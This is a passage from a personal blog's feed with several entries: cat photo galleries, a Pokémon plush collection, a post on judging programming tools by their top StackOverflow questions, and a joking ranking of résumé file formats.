<li><a href="http://me.veekun.com/media/2013-01/styx-zzz-1.jpg" class="fancybox" rel="gallery-4c517bf9d71ad365d6c742cd40f7177b" title="Sphynxes like to snuggle up to people, though Styx only lies down on me if he feels like it."><img src="http://me.veekun.com/media/2013-01/styx-zzz-1_m.jpg" alt="Sphynxes like to snuggle up to people, though Styx only lies down on me if he feels like it." /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-zzz-2.jpg" class="fancybox" rel="gallery-4c517bf9d71ad365d6c742cd40f7177b" title="I frequently come into my room to find this, or a pair of ears poking out the far side."><img src="http://me.veekun.com/media/2013-01/styx-zzz-2_m.jpg" alt="I frequently come into my room to find this, or a pair of ears poking out the far side." /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-zzz-3a.jpg" class="fancybox" rel="gallery-4c517bf9d71ad365d6c742cd40f7177b" title="He needs a little time to get going in the mornings."><img src="http://me.veekun.com/media/2013-01/styx-zzz-3a_m.jpg" alt="He needs a little time to get going in the mornings." /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-zzz-3b.jpg" class="fancybox" rel="gallery-4c517bf9d71ad365d6c742cd40f7177b" title="More than that."><img src="http://me.veekun.com/media/2013-01/styx-zzz-3b_m.jpg" alt="More than that." /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-zzz-4.jpg" class="fancybox" rel="gallery-4c517bf9d71ad365d6c742cd40f7177b" title="This one is only a couple days old.  He sits very compactly when awake, but once he falls asleep his limbs go everywhere."><img src="http://me.veekun.com/media/2013-01/styx-zzz-4_m.jpg" alt="This one is only a couple days old.  He sits very compactly when awake, but once he falls asleep his limbs go everywhere." /></a></li>
</ul>

<p>He also makes a very distinct little scowl.</p>

<ul class="gallery">
<li><a href="http://me.veekun.com/media/2013-01/styx-frown-1.jpg" class="fancybox" rel="gallery-89e2374102f238e31457b9f0ddbbf777" title=""><img src="http://me.veekun.com/media/2013-01/styx-frown-1_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-frown-2.jpg" class="fancybox" rel="gallery-89e2374102f238e31457b9f0ddbbf777" title=""><img src="http://me.veekun.com/media/2013-01/styx-frown-2_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-frown-3.jpg" class="fancybox" rel="gallery-89e2374102f238e31457b9f0ddbbf777" title=""><img src="http://me.veekun.com/media/2013-01/styx-frown-3_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-frown-4.jpg" class="fancybox" rel="gallery-89e2374102f238e31457b9f0ddbbf777" title=""><img src="http://me.veekun.com/media/2013-01/styx-frown-4_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-frown-5.jpg" class="fancybox" rel="gallery-89e2374102f238e31457b9f0ddbbf777" title=""><img src="http://me.veekun.com/media/2013-01/styx-frown-5_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-frown-6.jpg" class="fancybox" rel="gallery-89e2374102f238e31457b9f0ddbbf777" title=""><img src="http://me.veekun.com/media/2013-01/styx-frown-6_m.jpg" alt="" /></a></li>
</ul>

<p>Styx and Twigs like to lie together when we’re busy.  Well, okay, usually Styx lies down somewhere and then Twigs sits on him.</p>

<ul class="gallery">
<li><a href="http://me.veekun.com/media/2013-01/styx-and-twigs-1.jpg" class="fancybox" rel="gallery-ffedc6f85e03d84405664e50c218705a" title=""><img src="http://me.veekun.com/media/2013-01/styx-and-twigs-1_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-and-twigs-2.jpg" class="fancybox" rel="gallery-ffedc6f85e03d84405664e50c218705a" title=""><img src="http://me.veekun.com/media/2013-01/styx-and-twigs-2_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-and-twigs-3.jpg" class="fancybox" rel="gallery-ffedc6f85e03d84405664e50c218705a" title=""><img src="http://me.veekun.com/media/2013-01/styx-and-twigs-3_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-and-twigs-4.jpg" class="fancybox" rel="gallery-ffedc6f85e03d84405664e50c218705a" title=""><img src="http://me.veekun.com/media/2013-01/styx-and-twigs-4_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-and-twigs-5.jpg" class="fancybox" rel="gallery-ffedc6f85e03d84405664e50c218705a" title="This one's mostly included because Twigs is making such a cool face."><img src="http://me.veekun.com/media/2013-01/styx-and-twigs-5_m.jpg" alt="This one's mostly included because Twigs is making such a cool face." /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-and-twigs-6a.jpg" class="fancybox" rel="gallery-ffedc6f85e03d84405664e50c218705a" title="Twigs loves to groom everything; Styx is no exception."><img src="http://me.veekun.com/media/2013-01/styx-and-twigs-6a_m.jpg" alt="Twigs loves to groom everything; Styx is no exception." /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-and-twigs-6b.jpg" class="fancybox" rel="gallery-ffedc6f85e03d84405664e50c218705a" title="Denied."><img src="http://me.veekun.com/media/2013-01/styx-and-twigs-6b_m.jpg" alt="Denied." /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-and-twigs-7.jpg" class="fancybox" rel="gallery-ffedc6f85e03d84405664e50c218705a" title="We got them new matching sweaters recently.  This happened two days later."><img src="http://me.veekun.com/media/2013-01/styx-and-twigs-7_m.jpg" alt="We got them new matching sweaters recently.  This happened two days later." /></a></li>
</ul>

<p>They get into their fair share of cat battles, often after Styx refuses to be Twigs’s beanbag.</p>

<ul class="gallery">
<li><a href="http://me.veekun.com/media/2013-01/styx-battle-1.jpg" class="fancybox" rel="gallery-eb8f10893decb68e52122702be0a4cf0" title=""><img src="http://me.veekun.com/media/2013-01/styx-battle-1_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-battle-2.jpg" class="fancybox" rel="gallery-eb8f10893decb68e52122702be0a4cf0" title=""><img src="http://me.veekun.com/media/2013-01/styx-battle-2_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-battle-3.jpg" class="fancybox" rel="gallery-eb8f10893decb68e52122702be0a4cf0" title=""><img src="http://me.veekun.com/media/2013-01/styx-battle-3_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-battle-4.jpg" class="fancybox" rel="gallery-eb8f10893decb68e52122702be0a4cf0" title=""><img src="http://me.veekun.com/media/2013-01/styx-battle-4_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-battle-5.jpg" class="fancybox" rel="gallery-eb8f10893decb68e52122702be0a4cf0" title=""><img src="http://me.veekun.com/media/2013-01/styx-battle-5_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-battle-6.jpg" class="fancybox" rel="gallery-eb8f10893decb68e52122702be0a4cf0" title=""><img src="http://me.veekun.com/media/2013-01/styx-battle-6_m.jpg" alt="" /></a></li>
</ul>

<p>The fuzzy one there is Napoleon.  He does his own thing most of the time, though occasionally I catch him grooming Styx’s ears (the only fuzzy parts?).</p>

<ul class="gallery">
<li><a href="http://me.veekun.com/media/2013-01/styx-group-1.jpg" class="fancybox" rel="gallery-970a03ac1d618cbcff8ab069ab6329db" title=""><img src="http://me.veekun.com/media/2013-01/styx-group-1_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-group-2.jpg" class="fancybox" rel="gallery-970a03ac1d618cbcff8ab069ab6329db" title=""><img src="http://me.veekun.com/media/2013-01/styx-group-2_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-group-3.jpg" class="fancybox" rel="gallery-970a03ac1d618cbcff8ab069ab6329db" title=""><img src="http://me.veekun.com/media/2013-01/styx-group-3_m.jpg" alt="" /></a></li>
</ul>

<p>When not busy keeping a small section of our furniture warm, Styx is usually running around at breakneck speed, flipping the fuck out all over my bed, or knocking things off my desk and looking shocked when they fall to the floor.</p>

<ul class="gallery">
<li><a href="http://me.veekun.com/media/2013-01/styx-pest-1.jpg" class="fancybox" rel="gallery-758f71d2bcfc71da632c4cc086221210" title="He's so short!"><img src="http://me.veekun.com/media/2013-01/styx-pest-1_m.jpg" alt="He's so short!" /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-pest-2.jpg" class="fancybox" rel="gallery-758f71d2bcfc71da632c4cc086221210" title="Taken while he was battling my foot (look at his claws)."><img src="http://me.veekun.com/media/2013-01/styx-pest-2_m.jpg" alt="Taken while he was battling my foot (look at his claws)." /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-pest-3.jpg" class="fancybox" rel="gallery-758f71d2bcfc71da632c4cc086221210" title="I don't know what this string is but I'm pretty sure it doesn't go there."><img src="http://me.veekun.com/media/2013-01/styx-pest-3_m.jpg" alt="I don't know what this string is but I'm pretty sure it doesn't go there." /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-pest-4.jpg" class="fancybox" rel="gallery-758f71d2bcfc71da632c4cc086221210" title="I'm not that good a photographer; he seriously hung here for several seconds."><img src="http://me.veekun.com/media/2013-01/styx-pest-4_m.jpg" alt="I'm not that good a photographer; he seriously hung here for several seconds." /></a></li><li><a href="http://me.veekun.com/media/2013-01/styx-pest-5.jpg" class="fancybox" rel="gallery-758f71d2bcfc71da632c4cc086221210" title="I think there's a balloon string or something out of frame."><img src="http://me.veekun.com/media/2013-01/styx-pest-5_m.jpg" alt="I think there's a balloon string or something out of frame." /></a></li>
</ul>

<p>I’ve also got this handful of photos of Twigs alone that are just too cool to resist including.</p>

<ul class="gallery">
<li><a href="http://me.veekun.com/media/2013-01/twigs-cool-1.jpg" class="fancybox" rel="gallery-66fa5db6ce2b4a2262aca2aa9644313b" title=""><img src="http://me.veekun.com/media/2013-01/twigs-cool-1_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2013-01/twigs-cool-2a.jpg" class="fancybox" rel="gallery-66fa5db6ce2b4a2262aca2aa9644313b" title="I love how he's posed like a lion in a tree out on the savannah."><img src="http://me.veekun.com/media/2013-01/twigs-cool-2a_m.jpg" alt="I love how he's posed like a lion in a tree out on the savannah." /></a></li><li><a href="http://me.veekun.com/media/2013-01/twigs-cool-2b.jpg" class="fancybox" rel="gallery-66fa5db6ce2b4a2262aca2aa9644313b" title=""><img src="http://me.veekun.com/media/2013-01/twigs-cool-2b_m.jpg" alt="" /></a></li><li><a href="http://me.veekun.com/media/2013-01/twigs-cool-3.jpg" class="fancybox" rel="gallery-66fa5db6ce2b4a2262aca2aa9644313b" title="I wasn't sure what to make of this when I first saw it, until I remembered that blanket has a hole in it."><img src="http://me.veekun.com/media/2013-01/twigs-cool-3_m.jpg" alt="I wasn't sure what to make of this when I first saw it, until I remembered that blanket has a hole in it." /></a></li>
</ul>

<p>And if you cannot get enough of Photos Of My Cat On The Internet, I have also advanced the sum total of human culture by putting some videos on YouTube.  Alas I don’t have recordings of Styx’s other trademark qualities, like his habit of <a href="http://purplekecleon.tumblr.com/post/34855102637/thanx-for-the-help-cats">sitting on shoulders</a> or his strange ritual of <em>leaving my room</em> to go out to the living room and meow sadly because no one is around.</p>

<ul>
  <li><a href="https://www.youtube.com/watch?v=PMxXjrkd0dM">Twigs loving a blanket</a></li>
  <li><a href="https://www.youtube.com/watch?v=0qLYabS3QBs">Styx vs my belt</a></li>
  <li><a href="https://www.youtube.com/watch?v=GDkgZv3xeMc">Styx vs a chair</a></li>
  <li><a href="https://www.youtube.com/watch?v=u4EY5T-uvI8">Styx as a kitten</a>, stumbling around and making tiny meows</li>
  <li><a href="https://www.youtube.com/watch?v=-xHE6VyeMqg">Styx as a kitten again</a>, still having trouble smacking things</li>
  <li><a href="https://www.youtube.com/watch?v=Iiuik4WItU8">Styx’s purr</a></li>
</ul>

<p>Mel occasionally posts about <a href="http://purplekecleon.tumblr.com/tagged/styx">Styx</a> and <a href="http://purplekecleon.tumblr.com/tagged/twigs">Twigs</a> too.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Catchin' 'em all]]></title>
    <link href="http://me.veekun.com/blog/2013/01/28/catchin-em-all/"/>
    <updated>2013-01-28T23:17:00-08:00</updated>
    <id>http://me.veekun.com/blog/2013/01/28/catchin-em-all</id>
    <content type="html"><![CDATA[<p>Look at this sweet guy <a href="http://purplekecleon.deviantart.com/">Mel</a> got <a href="http://sleeplesstotodile.deviantart.com/art/Caldera-350726744">custom-made</a> for my birthday.  There’s context here, but it’s <a href="http://pmd-explorers.deviantart.com/">big and complicated</a>, so let’s just say it’s a life-size stained-glass <a href="http://veekun.com/dex/pokemon/chandelure">Chandelure</a> and is <em>totally fuckin rad</em>.  (That’s an official life-size Eevee, for scale.)</p>

<p>Having a bit of trouble finding a place to keep a three-foot-tall plush, though.  He’s got a hook near the top of his flame, but hanging him from the ceiling doesn’t really help since he hangs down to chest level.</p>

<ul class="gallery">
<li><a href="http://me.veekun.com/media/2013-01/pokemons-caldera.jpg" class="fancybox" rel="gallery-f34d89767b589db2a381c49a57486386" title="Caldera is so cool."><img src="http://me.veekun.com/media/2013-01/pokemons-caldera_m.jpg" alt="Caldera is so cool." /></a></li>
</ul>

<p>While I’m at it, my collection expanded considerably after our two-week vacation in Japan, and I finally got around to adding a new shelf to hold them all.  So, here’s what my room looks like now…</p>

<ul class="gallery">
<li><a href="http://me.veekun.com/media/2013-01/pokemons-bookshelf.jpg" class="fancybox" rel="gallery-86d31f519d4777c3b5761ea18ec8f742" title="Pinkie Pie is not mine.  No, really."><img src="http://me.veekun.com/media/2013-01/pokemons-bookshelf_m.jpg" alt="Pinkie Pie is not mine.  No, really." /></a></li><li><a href="http://me.veekun.com/media/2013-01/pokemons-shelf-left.jpg" class="fancybox" rel="gallery-86d31f519d4777c3b5761ea18ec8f742" title="Left side of a big ol' shelf we stuck over my desk."><img src="http://me.veekun.com/media/2013-01/pokemons-shelf-left_m.jpg" alt="Left side of a big ol' shelf we stuck over my desk." /></a></li><li><a href="http://me.veekun.com/media/2013-01/pokemons-shelf-right.jpg" class="fancybox" rel="gallery-86d31f519d4777c3b5761ea18ec8f742" title="Right side of the big ol' shelf over my desk.  There are a few guys in the background you can't see very well from below."><img src="http://me.veekun.com/media/2013-01/pokemons-shelf-right_m.jpg" alt="Right side of the big ol' shelf over my desk.  There are a few guys in the background you can't see very well from below." /></a></li><li><a href="http://me.veekun.com/media/2013-01/pokemons-closet.jpg" class="fancybox" rel="gallery-86d31f519d4777c3b5761ea18ec8f742" title="All legendaries.  This is technically a closet, but it has no doors or track, so my desk sits partly inside it."><img src="http://me.veekun.com/media/2013-01/pokemons-closet_m.jpg" alt="All legendaries.  This is technically a closet, but it has no doors or track, so my desk sits partly inside it." /></a></li><li><a href="http://me.veekun.com/media/2013-01/pokemons-desk-clock.jpg" class="fancybox" rel="gallery-86d31f519d4777c3b5761ea18ec8f742" title="In case the Celebi doesn't make me enough of a nerd, this clock can also show hex, binary, octal, and Roman numerals."><img src="http://me.veekun.com/media/2013-01/pokemons-desk-clock_m.jpg" alt="In case the Celebi doesn't make me enough of a nerd, this clock can also show hex, binary, octal, and Roman numerals." /></a></li><li><a href="http://me.veekun.com/media/2013-01/pokemons-desk-ell.jpg" class="fancybox" rel="gallery-86d31f519d4777c3b5761ea18ec8f742" title="The two biggest Eevees are different life-size releases.  Far right Eevee talks!  And something here is out of place..."><img src="http://me.veekun.com/media/2013-01/pokemons-desk-ell_m.jpg" alt="The two biggest Eevees are different life-size releases.  Far right Eevee talks!  And something here is out of place..." /></a></li><li><a href="http://me.veekun.com/media/2013-01/pokemons-desk.jpg" class="fancybox" rel="gallery-86d31f519d4777c3b5761ea18ec8f742" title="This is where the magic happens.  If by magic you mean sufficiently-advanced technology."><img src="http://me.veekun.com/media/2013-01/pokemons-desk_m.jpg" alt="This is where the magic happens.  If by magic you mean sufficiently-advanced technology." /></a></li>
</ul>

<p>I’m not too proud to admit that I might have a problem: where can I possibly fit more shelves?</p>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[A new use for StackOverflow]]></title>
    <link href="http://me.veekun.com/blog/2013/01/15/a-new-use-for-stackoverflow/"/>
    <updated>2013-01-15T16:39:00-08:00</updated>
    <id>http://me.veekun.com/blog/2013/01/15/a-new-use-for-stackoverflow</id>
    <content type="html"><![CDATA[<p>It’s hard to get a feel for a new tool.  Is it any good?  Does it do anything I can’t already do?  What’s the community like?  Tough questions to answer without diving in and using it for a significant amount of time—and then you risk not liking the answers you get.</p>

<p>But fear not!  I have discovered a new and brilliant way to discern the novel features of a tool, the vibrance of its community, and its range of users all at once.  In mere minutes.</p>

<p>Look at its ten highest-voted questions on <a href="http://www.stackoverflow.com/">StackOverflow</a>.</p>

<p>I’m totally serious.  Watch.</p>

<!-- more -->

<h2 id="python">Python</h2>

<p><a href="http://stackoverflow.com/questions/tagged/python?sort=votes&amp;pagesize=10">The list</a>.</p>

<p>The first three ask about how to use <a href="http://stackoverflow.com/questions/231767/the-python-yield-keyword-explained">generators</a>, <a href="http://stackoverflow.com/questions/100003/what-is-a-metaclass-in-python">metaclasses</a>, and <a href="http://stackoverflow.com/questions/739654/understanding-python-decorators">decorators</a>—probably Python’s three neatest metaprogrammingish features.</p>

<p>Number 4 asks about <a href="http://stackoverflow.com/questions/101754/is-there-any-way-to-run-python-on-android">running Python on Android</a>, a common question that hints at Python’s popularity as a dynamic Java alternative.</p>

<p>Number 5 is about the <a href="http://stackoverflow.com/questions/36932/whats-the-best-way-to-implement-an-enum-in-python">equivalent of <code>enum</code></a>, which is a pretty common question (and garnered 35 answers, wow) about how to structure your program.</p>

<p>6, 7, and 8 are about <a href="http://stackoverflow.com/questions/82831/how-do-i-check-if-a-file-exists-using-python">checking for a file’s existence</a>, <a href="http://stackoverflow.com/questions/2573135/python-progression-path-from-apprentice-to-guru">becoming an expert in Python</a>, and <a href="http://stackoverflow.com/questions/89228/calling-an-external-command-in-python">running an external command</a>.  Seems there are people who jumped to Python from shell scripting, and want to know how to use it more seriously.</p>

<p>9 is about the <a href="http://stackoverflow.com/questions/394809/ternary-conditional-operator-in-python">ternary operator</a>, which was new at the time (and which is unusual enough that most newcomers don’t know it’s there).</p>

<p>10 is, um, <a href="http://stackoverflow.com/questions/3684484/peak-detection-in-a-2d-array">Peak detection in a 2D array</a>.  Clearly some people are doing some cool number crunching and visualization with Python.</p>

<p>So what can we take from this?</p>

<ul>
  <li>New Python developers are interesting in becoming proficient;</li>
  <li>Python has some novel features that developers are interested in understanding;</li>
  <li>Python appeals to sysadmins, app developers, and scientific computing.</li>
</ul>

<p>Sounds pretty accurate to me.  Let’s try something else.</p>

<h2 id="php">PHP</h2>

<p><a href="http://stackoverflow.com/questions/tagged/php?sort=votes&amp;pagesize=10">The list</a>.</p>

<p>Question 1 is about <a href="http://stackoverflow.com/questions/60174/how-to-prevent-sql-injection-in-php">preventing SQL injection</a>.  Appropriately, question 10 is about <a href="http://stackoverflow.com/questions/13569/mysqli-or-pdo-what-are-the-pros-and-cons">which of the solutions to use</a>.</p>

<p>Number 2 is about <a href="http://stackoverflow.com/questions/409286/datetime-vs-timestamp">whether to use <code>DATETIME</code> or <code>TIMESTAMP</code> in MySQL</a>.  No, don’t worry, you didn’t miss anything; this actually has nothing to do with PHP whatsoever.</p>

<p>3 is a <a href="http://stackoverflow.com/questions/3737139/reference-what-does-this-symbol-mean-in-php">massive syntax reference</a>.  I’ve actually never seen a meta-question like this on SO before.</p>

<p>4 asks <a href="http://stackoverflow.com/questions/3577641/how-to-parse-and-process-html-xml-with-php">how to parse HTML</a>.  7 asks about <a href="http://stackoverflow.com/questions/333664/simple-long-polling-example-code">long polling</a>, though the ultimate answer is more about JavaScript and Apache.</p>

<p>5, 8, and 9 are about <a href="http://stackoverflow.com/questions/2283937/how-should-i-ethically-approach-user-password-storage-for-later-plaintext-retrie">how to store passwords</a>, <a href="http://stackoverflow.com/questions/4795385/how-do-you-use-bcrypt-for-hashing-passwords-in-php">how to use bcrypt for passwords</a>, and <a href="http://stackoverflow.com/questions/401656/secure-hash-and-salt-for-php-passwords">how to hash passwords</a>.</p>

<p>These are substantively different types of questions.</p>

<ul>
  <li>PHP is used overwhelmingly for Web development, and commonly with MySQL.</li>
  <li>PHP developers are confused by its syntax, and the documentation isn’t sufficiently helpful.</li>
  <li>Four of these questions are about security issues.  You might take this to mean that PHP developers are security-conscious…  or you might take it to mean that a lot of PHP code has security issues and nobody knows how to fix them.  The interpretation is up to you, but do note that most StackOverflow questions are asked reactively.</li>
</ul>

<p>It’s kind of hard to see what problems PHP is commonly used to solve; the only question about solving a particular problem in PHP asks how to parse HTML, and the answers are just “use one of these ten libraries”.</p>

<p>But PHP is aimed at the Web, so naturally it would be tied to a bunch of Web questions.  I wonder what people ask about my pet Web framework?</p>

<h2 id="pyramid">Pyramid</h2>

<p><a href="http://stackoverflow.com/questions/tagged/pyramid?sort=votes&amp;pagesize=10">The list</a>.  Note that these questions have <em>far</em> fewer upvotes than the top questions for PHP or Python, which makes them less likely to be statistically significant.</p>

<p>The first two ask about <a href="http://stackoverflow.com/questions/4313715/should-i-use-pylons-or-pyramid">Pyramid vs Pylons</a> and <a href="http://stackoverflow.com/questions/4482879/is-pyramid-ready-recommended-for-prime-time">whether Pyramid is production-ready</a>.</p>

<p>3 asks about <a href="http://stackoverflow.com/questions/4633320/is-there-a-better-way-to-switch-between-html-and-json-output-in-pyramid">output formats</a>.  4 asks about <a href="http://stackoverflow.com/questions/7792769/user-authentication-in-pyramid">user auth</a>.  5 asks about <a href="http://stackoverflow.com/questions/5665541/pyramid-simpleform-or-deform">form libraries</a>.  10 asks about <a href="http://stackoverflow.com/questions/5321789/python-template-engines-chameleon-vs-jinja2">templating engines</a>.</p>

<p>6 is a sort of code review request for <a href="http://stackoverflow.com/questions/6836029/help-improve-my-file-upload-method-pyramid-framework">a file upload implementation</a>.  The asker also asks if there are any unobvious vulnerabilities, and indeed the lone answer points one out.</p>

<p>7 asks about <a href="http://stackoverflow.com/questions/6618985/gzipping-all-http-traffic-with-pyramid">gzip compression</a>, which doesn’t really have anything to do with Pyramid, but the top answer finds a solution anyway.  9 asks a strange, sparsely-detailed question <a href="http://stackoverflow.com/questions/8024602/sqlalchemy-staledataerror-on-deleting-items-inserted-via-orm-sqlalchemy-orm-exc">about sqlalchemy</a> that again has nothing to do with Pyramid.</p>

<p>8 asks how to <a href="http://stackoverflow.com/questions/147650/debug-pylons-application-through-eclipse">debug Pylons apps with Eclipse</a>.  Neat.</p>

<p>These don’t really look like the PHP questions, either.</p>

<ul>
  <li>Early adopters wanted to know whether Pyramid is stable yet.  I expect this would happen with most technologies newer than StackOverflow; the oldest, and most relevant at the time, questions will be about what it can do and whether to use it.</li>
  <li>Pyramid users are interested in its builtin web development tools (templating, etc.) and how to use them.</li>
  <li>Along the same lines, Pyramid users want to use their fancy-pants debugging IDE with it.</li>
  <li>At least this one guy is interested in security issues <em>he has not yet predicted</em>.  This is very different from asking about how to prevent a vulnerability you know only by name.</li>
  <li>Apparently, web developers <em>in general</em> can’t tell where their framework ends and other pieces begin.</li>
</ul>

<p>This is fascinating, but time-consuming, so I’ll only do one more.  I’m curious to see…</p>

<h2 id="rust">Rust</h2>

<p><a href="http://stackoverflow.com/questions/tagged/rust?sort=votes&amp;pagesize=10">The list</a>.  Again, these questions have very few upvotes, since Rust is a new and unfinished thing.  Let’s look anyway.</p>

<p>1 asks how <a href="http://stackoverflow.com/questions/9339560/erlang-versus-go-versus-rust-comparison">Erlang compares to Rust</a>.  3 asks if <a href="http://stackoverflow.com/questions/4419433/any-one-tried-mozillas-programming-language-rust-yet">anyone has used Rust at all</a>, and 4 wants some <a href="http://stackoverflow.com/questions/9350125/applications-and-libraries-written-in-rust">examples of Rust projects</a>.</p>

<p>2 asks about <a href="http://stackoverflow.com/questions/3210025/what-is-typestate">typestate</a>.  6 is confused about <a href="http://stackoverflow.com/questions/14189604/what-is-monomorphisation-with-context-to-c">what “monomorphization” is, in either Rust or C++</a>.</p>

<p>5 is about <a href="http://stackoverflow.com/questions/9271970/how-do-you-make-a-range-in-rust">ranges</a>, 7 is about <a href="http://stackoverflow.com/questions/9109872/rust-how-to-access-user-defined-types-instance">accessing enum fields</a>, and 9 features <a href="http://stackoverflow.com/questions/9282805/rust-pattern-matching-over-a-vector">abuses of pattern matching</a>.  10 wants to know how to use <a href="http://stackoverflow.com/questions/8984174/sockets-in-rust">sockets</a>.</p>

<p>8 reveals a <a href="http://stackoverflow.com/questions/9646490/rust-cargo-init-occur-signature-verification-failed">weird cargo error</a>.</p>

<p>So.</p>

<ul>
  <li>Rust is new.  Surprise!</li>
  <li>Rust is getting people interested in type system theory, which is cool.  The typestate answer explains the concept in fantastic detail, as well as hinting at why the feature was effectively removed from Rust several releases ago.</li>
  <li>Rust users are not clear on how to use some of its features.  This isn’t surprising, since Rust deliberately bucks some trends, but it does point to some potential deficiencies in the tutorial.</li>
</ul>

<h2 id="end">End</h2>

<p>Okay, maybe this isn’t scientifically rigorous.  Upvotes don’t have a precise meaning, and top questions will tend to stay at the top, and older questions have a bias, and genuine problems with a tool may have been fixed since the question was asked, and so forth.</p>

<p>But since upvotes are all about <em>people</em>, the top questions can tell you what <em>other people</em> think a technology is about, what they’re doing with it, and what problems they’re experiencing.  Maybe give it a shot next time you’re thinking about trying out a new language, or deciding between two libraries.</p>

<p>Remember, there are no stupid questions!  Only stupid software.</p>

]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[CVs and file extensions]]></title>
    <link href="http://me.veekun.com/blog/2013/01/09/cvs-and-file-extensions/"/>
    <updated>2013-01-09T14:10:00-08:00</updated>
    <id>http://me.veekun.com/blog/2013/01/09/cvs-and-file-extensions</id>
    <content type="html"><![CDATA[<p><em>(This article has been translated into <a href="http://czlib.bizow.com/post/cvs-a-pipony-soubor">Czech</a> by <a href="http://bizow.com/">Alex Novak</a>—thanks!)</em></p>

<p>Like many employed engineers, I get roped into the hiring process from time to time.  I don’t actually screen résumés, but I do grade some code tests, and the résumé is sent along with it—in case I find myself desperately seeking an explanation for receiving five hundred lines of JavaScript arranged as haiku.</p>

<p>In glancing over these résumés, I’ve observed a pattern: I’m far quicker to judge the file extension than the contents.  It’s easy to lie or exaggerate in a document, but habits are far more difficult to hide.  If you’re the kind of person who reaches for Microsoft Word, you’re still going to do that when writing a résumé.</p>

<p>I expressed this to Twitter, and not only did I get several people asking what formats I preferred, but I’m drowning in a deluge of suggestions for ridiculous résumé formats.  Let us collect some here.</p>

<p>(<em>Disclaimer:</em> I don’t speak for my employer yadda yadda.)</p>

<p><strong>docx</strong>: What the hell is this?  Are you even a programmer?  I haven’t had an office suite installed for years and I don’t plan to start now just to find out what dumb school you went to.  I may open it as a ZIP and glance over the text nodes in <code>word/document.xml</code>; hope there’s no important formatting in here.</p>

<p><strong>doc</strong>: This isn’t much better, and your office suite is ancient besides, but at least I can throw this at antiword and have a good chance of being able to read it.</p>

<p><strong>pdf</strong>: Okay, sure.  I apologize in advance for the horrendous mangling your hand-crafted masterpiece will experience when it encounters everyone’s HR systems from 1993.</p>

<p><strong>pdf with only glyph strokes and no text information</strong>: Fuck you.</p>

<p><strong>pdf clearly generated from LaTeX</strong>: Instant boner.  Are you sure you’re in comp sci and not math?  Maybe you want a LISP shop.</p>

<p><strong>tex</strong>: Hired.</p>

<p><strong>rtf</strong>: You’re either an idiot or as frustrated with the lack of light document formatting formats as I am.  But it doesn’t matter because I still can’t read it.</p>

<p><strong>txt</strong>: NICE, as long as it contains either RFC-style genuine plain text, Markdown, or ornate Unicode box-drawing decorations with emoji insets.  Suggestions for appropriate monospace fonts a plus.</p>

<p><strong>odt</strong>: This is still a pain in the ass for me to read, but kudos for trying, and double kudos for using a file format no HR department on the planet will recognize.</p>

<p><strong>ps</strong>: Nice try, but I’m not a printer.  Cross your fingers and hope Inkscape gets it right.</p>

<p><strong>html</strong>: There is something very fundamentally wrong with emailing HTML as an attachment.  If you’re so familiar with HTML then maybe you should get, like, a website.</p>

<p><strong>xls</strong>, <strong>ods</strong>: Allow me to respond with this chart of how much I hate you.</p>

<p><strong>xps</strong>: You are out of your goddamn mind.  I’m intrigued.</p>

<p><strong>xml</strong> + <strong>xsl</strong>: I’ve had <a href="https://github.com/eevee/project-euler/blob/master/heteroglot/014.xsl">enough XSLT for one lifetime</a>, thanks.</p>

<p><strong>link to a shared document on Google Drive</strong>: It appears you work for Google and they won’t let you have a real computer, only a Chromebook.  They’re probably paying you more than anyone else can, so it doesn’t much matter whether we make an offer.</p>

<p><strong>py</strong>: Putting your entire program in a single file is poor form.  This should be a bdist egg.</p>

<p><strong>exe</strong>: Acceptable <em>only</em> if this is a crack for expensive obscure software released in the past 15 days.  I will also be judging you based on the sweet trance music that plays while it’s running.</p>

<p><strong>swf</strong>: Unless this is a vim swap file, get the fuck out.  If it’s a vim swap file, you direly need to delete/recover some old files, and <em>then</em> get the fuck out.</p>

<p><strong>iso</strong>: I’m aware of precisely one <a href="https://twitter.com/kevinlange">psychopath</a> who has created a disk image that boots into the OS he wrote and displays his PDF résumé.  No other form of <code>.iso</code> submission is acceptable.</p>

<p><strong>c</strong>: <a href="https://gist.github.com/4042963">goddammit kevin</a></p>

<p><strong>jpg</strong>: Now you’re just fucking with me.  A text-heavy image should be a PNG.</p>

<p><strong>anything that 0-days my machine</strong>: You can have my job.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Dimorphism]]></title>
    <link href="http://me.veekun.com/blog/2012/12/10/dimorphism/"/>
    <updated>2012-12-10T21:29:00-08:00</updated>
    <id>http://me.veekun.com/blog/2012/12/10/dimorphism</id>
